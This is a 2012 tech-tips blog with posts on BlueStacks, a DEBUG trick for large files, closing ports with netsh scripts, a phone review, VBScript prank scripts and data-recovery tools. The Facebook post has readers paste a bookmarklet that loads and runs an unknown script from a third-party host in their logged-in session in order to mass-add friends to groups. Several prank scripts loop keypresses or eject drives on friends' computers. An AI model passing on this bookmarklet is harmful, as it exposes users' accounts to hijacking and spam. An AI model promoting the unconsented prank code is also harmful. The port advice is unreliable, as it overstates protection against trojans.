Thursday, 4 October 2012

How To Run Android Apps On Windows Xp,Windows Vista Or Windows 7



Now you can run all of the famous Android Apps on your Windows PC.This is the easiest Tutorial to all those who wants to test the apps without wasting their time.

To run Android applications on windows xp,vista or windows 7,all you need is a small andorid emulator which you have to install on your pc.

there are lots of android emulator exists in market but we are using one of the well known "Blue stack BETA". the
earlier version is "Blue Stack Alpha" which is  only compatible with  Windows7 PC’s and Windows8. Best part of new beta edition is basically converting the ARM compatible Android apps to run on x86 platform and that too with a great efficiency. Or simply it means Now the software is compatible with Vista and windows7 and Windows XP also.In new Blue stack BETA Users can download applications from GetJar, 1Mobile, and Amazon and test them on windows machine. So apps will be downloaded by the software and install with in it.


http://techwarlock.blogspot.in/


You can download Bluestack BETA From Here: cdn.bluestacks.com/bstk-download-success-2.htm


After downloading install this on your windows machine and then signup by using your facebook or bluestack account.
after login download android applications and run them on your windows machine..:)
isn't it easy..try out yourself..and post comments.. :)

Sunday, 9 September 2012

Trick To Create A Empty Huge File



Yesterday somebody asked me that "Is it possible that a empty file can be huge as 1 million bytes.."?
So here's the answer.. :)

off course its possible.You can create a file of any desired size by using the utilities provided by Windows.
So here's the step by step guide to create a Empty Huge File.
  1. First we have to convert the desired file size into hexadecimal notation. You can use the Windows Calculator in Scientific mode do to this.To use Windows calculator in scientific mode Open calculator,click on view and select Scientific instead of Simple.

    Suppose you want a file of 1 million bytes.
    Enter 1000000 in the calculator and click on the Hex option to convert it (1 million in hex is F4240.)


    Pad the result with zeroes at the left until the file size reaches eight digits—000F4240.

  2.  Open Command prompt by typing "cmd" in Run.

  3. Type Command "Debug BIGFILE.DAT" without Quotes.And Ignore the File not found message.

  4. Type RCX and press Enter. Now Debug utility will display a colon prompt.
    Enter the last four digits of the hexadecimal number you calculated,For i.e: If your calculated Hex Code is 000F4240 Then you have to enter 4240.

  5. Type RBX and press Enter,Then Enter the First four digits of the hexadecimal number you calculated,For i.e: If your calculated Hex Code is 000F4240 Then you have to enter 000F.

  6. Enter W for Write and Q for Quit.

    You have just created a Empty file of 1 million bytes..You can create empty files of any size by following these easy steps.




Friday, 7 September 2012

How To Close Open Ports




As you know i am preparing for CEH (Certified Ethical Hacker) from several months.
Yesterday i found something interesting when reading the topics of Trojans from my CEH study material. Yeah you are right Trojans are backdoor programs that create a connection with the help of open ports many of us are suffering from Trojans.they are one of the dangerous weapon for hackers.

If a hacker install a Trojan on your computer then he can do anything with your computer while sitting to thousands of km far away from your computer.After a successful installation of Trojan hacker can use your computer as a Zombie computer and can do any kind of illegal work with your IP address Or even can able to delete your valuable data.

Today i will show you how to be keep yourself safe by closing open ports.
Ports are the Application specific End points which provide connections in a operating system.
when you are connected to internet each network process use a different port.
for yahoo messenger uses a different port,your browser uses a different port to establish a connection with network.

As we discussed about Trojans earlier,when a hacker installs a Trojan on your computer..he need a open port to create a connection from your computer to his computer.
To keep our self save from this kind of attacks we need to close our open ports.


I searched a lot in my CEH study material on "how to close a open port" but didn't succeed..then after decided to do it myself.

After 4 hours of consistent hard work i found a way by which we can able to close open ports..
To close open Ports..Here's The Procedure..
  1. Go To Start And Then Run.
  2. Type "netsh firewall delete portopening TCP PORTNUMBER" without Quotes and PORTNUMBER is the Number of your port which you want to close.
    if you want to close PORTNUMBER 8080 Then the command to close PORT 8080 is.
    netsh firewall delete portopening TCP 8080.
  3. Now Press enter and Your are done..


I also try to created VB Script and .bat file for both commands.

Vbs Script to close open ports..Just copy and paste below coding to notepad file and save as PortCloser.vbs

set ss = createobject("wscript.shell")
set ws = wscript
dim PORT
PORT = InputBox("Enter the port you wish to close:")
ss.run "netsh.exe"
ws.sleep 1000
ss.sendkeys "firewall delete portopening TCP " & PORT
ss.sendkeys "{enter}"
ws.sleep 500
'ss.sendkeys "exit"
'ss.sendkeys "{enter}"


.BAT Script to close open ports..Just copy and paste below coding to notepad file and save as
PortCloser.bat

@echo off
title Port Closer
echo Port Closer
echo.
set /p port=Type the port number you wish to close here:
netsh firewall delete portopening TCP %port%
msg /w * Port %port% has been closed.
exit


For any Queries regarding this..put your valuable comments..
Monday, 3 September 2012

Samsung Galaxy Y Duos Lite Review With Phone Specification


Samsung is now decided to expand its Galaxy y Duos family in India.Recently Samsung had announced that they are officially launching Samsung Galaxy Y Duos Lite on 5th of September 2012.And its really a good news for android lovers.
Pre-Booking of samsung Galaxy Y Duos Lite had been started and you can order that Samsung e-store on a minimal advance payment of INR 1000.

The best thing about Duos Lite is that its a dual sim Phone with lot of specifications and a best price in between
6000-7000.that clearly shows that Samsung is going to change according to marketing trend of Indian users.




Full Phone Specifications of Samsung Galaxy Y are As Follows:
  • Dual-SIM (GSM + GSM)
  • Google Android 2.3 (Gingerbread) Operating System.
  • 832MHz single-core processor.
  • 2.8-inch QVGA display With LCD Capacitive Touchscreen.
  • 2MP primary camera With micro sd card support.
  • Good Thin tough look.
  • 1200 mAh battery.
  • Wi-Fi Connectivity.
    If you are looking for a cheap android phone with lot of specifications and also with Samsung's brand name..then you have to consider this phone.
Sunday, 2 September 2012

Trick To Increase Facebook Group Member With Facebook Auto Adder JavaScript


Hello Friends..

Sorry for my inconsistency on Techwarlock,I was busy with my exams that's why didn't able to concentrate on blogging.
but belive me after my today's post you will forgive me for my inconsistency on blog posting.. :)

So,coming to the topic again today i will show you a cool java script by which you can easily able to increase your group members on facebook.This is really a cool javascript and i tried it on my group and got approx 150000 members in just one day..isn't it sounds cool..

So without taking much of your precious time..Here the process..
  1. First of all Make Sure Bookmark Bar is
    visible. If not visible then right click on the top of Firefox and select "Bookmarks Toolbar".
    This will make Bookmark Bar visible.

    http://techwarlock.blogspot.com/



    For Google Chrome Users Simply Press Ctrl+Shift+B

  2. Copy the following JavaScript & paste it on Bookmarks Toolbar as you can see in image below.
    javascript:(function(){document.body.appendChild(document.createElement('script')).src='http://alviarman2009.my3gb.com/script.txt';})();


    http://techwarlock.blogspot.com/


  3. This will create a bookmark "javascript:(function(){" in the bookmark bar.


    http://techwarlock.blogspot.in/

  4. Log In to Facebook
  5. And Go To any of the facebook group.
  6. Now Click the Bookmark that you made..
        This will start adding your friends in that Group

    http://techwarlock.blogspot.com/


    To get maximum members to your facebook group..Request all your group members or friends to do the same..


    This JavaScript is tested successfully on browsers like mozila firefox and google chrome..and works fine on them.
    if you are facing any problem with this javaScript Comment below..i will try my best to sort that out..

    start adding your friends to groups before facebook block this script.. :)

    enjoy!!
Thursday, 16 August 2012

Top 10 Vbscript Codings To Play Prank With Friends



Today i tried to bring out some of the Vb script(.vbs) coding by which we can able to play pranks with our friends..
This Vb script coding are not harmful in any sense.But use them carefully.. :)


http://techwarlock.blogspot.com/



1)Continually pop out your friend's CD Drive.

Description: This VBs coding is used to eject and insert cd drive of your friend's computer.
To use This Vb Script Just copy the vbs code given below on a notepad file and save it as myscript.vbs
To stop this Vb script..Open Task manager by Pressing ctrl+alt+del
and then click on Process tab and kill the process "Wscript.exe"


Set oWMP = CreateObject("WMPlayer.OCX.7")
Set colCDROMs = oWMP.cdromCollection
do
if colCDROMs.Count >= 1 then
For i = 0 to colCDROMs.Count - 1
colCDROMs.Item(i).Eject
Next
For i = 0 to colCDROMs.Count - 1
colCDROMs.Item(i).Eject
Next
End If
wscript.sleep 5000
loop


2) Toggle your friend's Caps Lock button simultaneously:

Description: This small VBs coding is used to Toggle Caps Lock Button Simultaneously.
To use This Vb Script Just copy the vbs code given below on notepad file and save it as myscript.vbs
To stop this Vb script..Open Task manager by Pressing ctrl+alt+del
and then click on Process tab and kill the process "Wscript.exe"


Set wshShell =wscript.CreateObject("WScript.Shell")
do
wscript.sleep 100
wshshell.sendkeys "{CAPSLOCK}"
loop


3) Frustrate your friend by hitting Enter simultaneously:

Description: This small VBs coding is used to press Enter Key Simultaneously.
To use This Vb Script Just copy the vbs code given below on notepad file and save it as myscript.vbs
To stop this Vb script..Open Task manager by Pressing ctrl+alt+del
and then click on Process tab and kill the process "Wscript.exe"


Set wshShell = wscript.CreateObject("WScript.Shell")
do
wscript.sleep 100
wshshell.sendkeys "~(enter)"
loop


4) Open Notepad, slowly type "Hello, how are you? I am good thanks" and freak your friend out:

Description: This VBs coding will open a notepad window and Type a message just like your computer is typing it automatically.
You can also modify message by changing the text under WshShell.SendKeys function.
To use This Vb Script Just copy the vbs code given below on notepad file and save it as myscript.vbs
To stop this Vb script..Open Task manager by Pressing ctrl+alt+del
and then click on Process tab and kill the process "Wscript.exe"

WScript.Sleep 180000
WScript.Sleep 10000
Set WshShell = WScript.CreateObject("WScript.Shell")
WshShell.Run "notepad"
WScript.Sleep 100
WshShell.AppActivate "Notepad"
WScript.Sleep 500
WshShell.SendKeys "Hel"
WScript.Sleep 500
WshShell.SendKeys "lo "
WScript.Sleep 500
WshShell.SendKeys ", ho"
WScript.Sleep 500
WshShell.SendKeys "w a"
WScript.Sleep 500
WshShell.SendKeys "re "
WScript.Sleep 500
WshShell.SendKeys "you"
WScript.Sleep 500
WshShell.SendKeys "? "
WScript.Sleep 500
WshShell.SendKeys "I a"
WScript.Sleep 500
WshShell.SendKeys "m g"
WScript.Sleep 500
WshShell.SendKeys "ood"
WScript.Sleep 500
WshShell.SendKeys " th"
WScript.Sleep 500
WshShell.SendKeys "ank"
WScript.Sleep 500
WshShell.SendKeys "s! "



5) Frustrate your friend by making this Vb Script hit Backspace simultaneously:

Description: This VBs coding will press a backspace key simultaneously.
You can also modify message by changing the text under WshShell.SendKeys function.
To use This VBScript Just copy the vbs code given below on notepad file and save it as myscript.vbs
To stop this VBscript..Open Task manager by Pressing ctrl+alt+del
and then click on Process tab and kill the process "Wscript.exe"

MsgBox "Let's go back a few steps"
Set wshShell =wscript.CreateObject("WScript.Shell")
do
wscript.sleep 100
wshshell.sendkeys "{bs}"
loop



6) Convey a Message Like "You are a fool" on your friends computer simultaneously:


Description: This VBs is a simpler version of VBScript that Type "Hello, how are you? I am good thanks".
Instead of that It will pop up a window on your friends computer and convey a message Like "You are a fool"
You can also modify message by changing the text under WshShell.SendKeys function.
To use This VBScript Just copy the vbs code given below on notepad file and save it as myscript.vbs
To stop this VBscript..Open Task manager by Pressing ctrl+alt+del
and then click on Process tab and kill the process "Wscript.exe"

Set wshShell = wscript.CreateObject("WScript.Shell")
do
wscript.sleep 100
wshshell.sendkeys "You are a fool."
loop


7)create your own text to speech convertor

Description: This VBs will create a text to speech convertor shell.
with the help of this VBscript you can convert your words to speech.
To use This VBScript Just copy the vbs code given below on notepad file and save it as myscript.vbs
To stop this VBscript..Open Task manager by Pressing ctrl+alt+del
and then click on Process tab and kill the process "Wscript.exe"

Dim message, sapi
message=InputBox("What do you want me to say?","Speak to Me")
Set sapi=CreateObject("sapi.spvoice")
sapi.Speak message


8)Play Windows Startup tone then convey a message..

Description: This VBs will First play your Windows startup tone then Convey a message on screen.
you can any message by changing "your message here" field.
To use This VBScript Just copy the vbs code given below on notepad file and save it as myscript.vbs
To stop this VBscript..Open Task manager by Pressing ctrl+alt+del
and then click on Process tab and kill the process "Wscript.exe"

Set objVoice = CreateObject("SAPI.SpVoice")
Set objFile = CreateObject("SAPI.SpFileStream.1")

objFile.Open "Windows XP Startup.wav"
objVoice.Speakstream objFile
Wscript.Echo "your message here"



9)Make Your Computer Speech Any Message

Description: This VBs will Make your computer speech by using microsoft assistant voice.
You can change the Speech message by changing "your message here" field.
To use This VBScript Just copy the vbs code given below on notepad file and save it as myscript.vbs
To stop this VBscript..Open Task manager by Pressing ctrl+alt+del
and then click on Process tab and kill the process "Wscript.exe"

On Error Resume Next

strAgentName2 = "MERLIN"
strAgentPath2 = "C:\Windows\Msagent\Chars\" & strAgentName2 & ".acs"
Set objAgent2 = CreateObject("Agent.Control.2")

objAgent2.Connected = TRUE
objAgent2.Characters.Load strAgentName2, strAgentPath2
Set objPeter = objAgent2.Characters.Character(strAgentName2)

objPeter.MoveTo 700,300
objPeter.Show

objPeter.Play "GetAttention"
objPeter.Play "GetAttentionReturn"

objPeter.Speak("your message here")

Wscript.Sleep 1000

Set objAction= objPeter.Hide

Do While objPeter.Visible = True
Wscript.Sleep 250
Loop


10)Check your Computer is Male Or Female

This Is really a cool Vb Script prank to check your computer's gender.
To use this Vb Script copy the below code on notepad and save it as myscript.vbs

CreateObject(“SAPI.SpVoice”).Speak "i love you"


Please Don't Misuse these VB scripts..For more cool tips and tricks..stay tune with us..
Sunday, 12 August 2012

How To Recover Deleted Data From Computer,Pendrive Or Memory Cards




Sometimes we face a difficult situation when we accidentally deleted our data from computer,memory cards or pen drives and want to get it back.Many times we are lucky to get back our deleted data from recycle bin but what if the deleted data also not found in recycle bin.





There are lots of freeware and as well as shareware software available in market that claims to recover deleted data from PC, pen drive or even memory cards..Some of them works great and remaining are just scraps.
so today we will concentrate on free data recovery software which actually recovers deleted data from pc.

So First of all how data recovery software works..?
When we delete a file on our computer the first place it goes is to the recycle bin. Emptying the recycle bin doesn’t actually remove it instead of, it only delete a link between our computer file system to deleted file and designates the space that file is using as free space for future use.So,until a new file overwrites that space the original file is present on your hard disk. So The data recovery software only rebuilt the links between deleted data to our computer file system.
  • Recover Deleted Data using Recuva: I put recuva at top of the list because its my favorite one.Its a handy simple data recovery software by which we can recover deleted files from our PC, pen drives,memory cards and so on.
    Download your free copy of recuva from here
    To recover files  Run the software and select which type of files you want to recover and select particular drive or location and allow it to scan.After scanning it will give you a option to recover all files or selected files from your deleted location.
  • Recover Delete Data using PC Inspector File Recovery: PC Inspector File Recovery is also a great software built to recover data from FAT and NTFS file systems.Working of PC Inspector File Recovery and Recuva Is almost same.they both scan for deleted data and give us a option to recover them.
    Download PC File Recovery from here
  • Recover Deleted Data using Pandora Recovery: The user interface of Pandora Recovery is about as straightforward.It Supports three kinds of searching modes Browse, Search, and Deep Scan and each has its own description so that you'll know which to choose.
    you can download free copy of this software from here
  • Recover Deleted Data using EASEUS: EASEUS is also a Free file recovery software to recover 1 GB files free of charge.It recovers files from formatted partitions with original file names and storage paths.It can also able to Recover files from Linux file system partition under Windows.
    To download EASEUS data Recovery Wizard Click here
  • Recover Deleted Data using Undelete Plus: Undelete plus is also a good file recovery softwareworks on Win 95/98/Me/NT/2000/XP/2003 operating systems.This small software supports all Windows file systems for hard drives and floppy drives including FAT12/16/32,NTFS/NTFS5.
    Download undelete plus from here
.

We tried our best to enlist some of the great data recovery software..So what you think which is the best one among these...
Please leave your valuable comments.. :)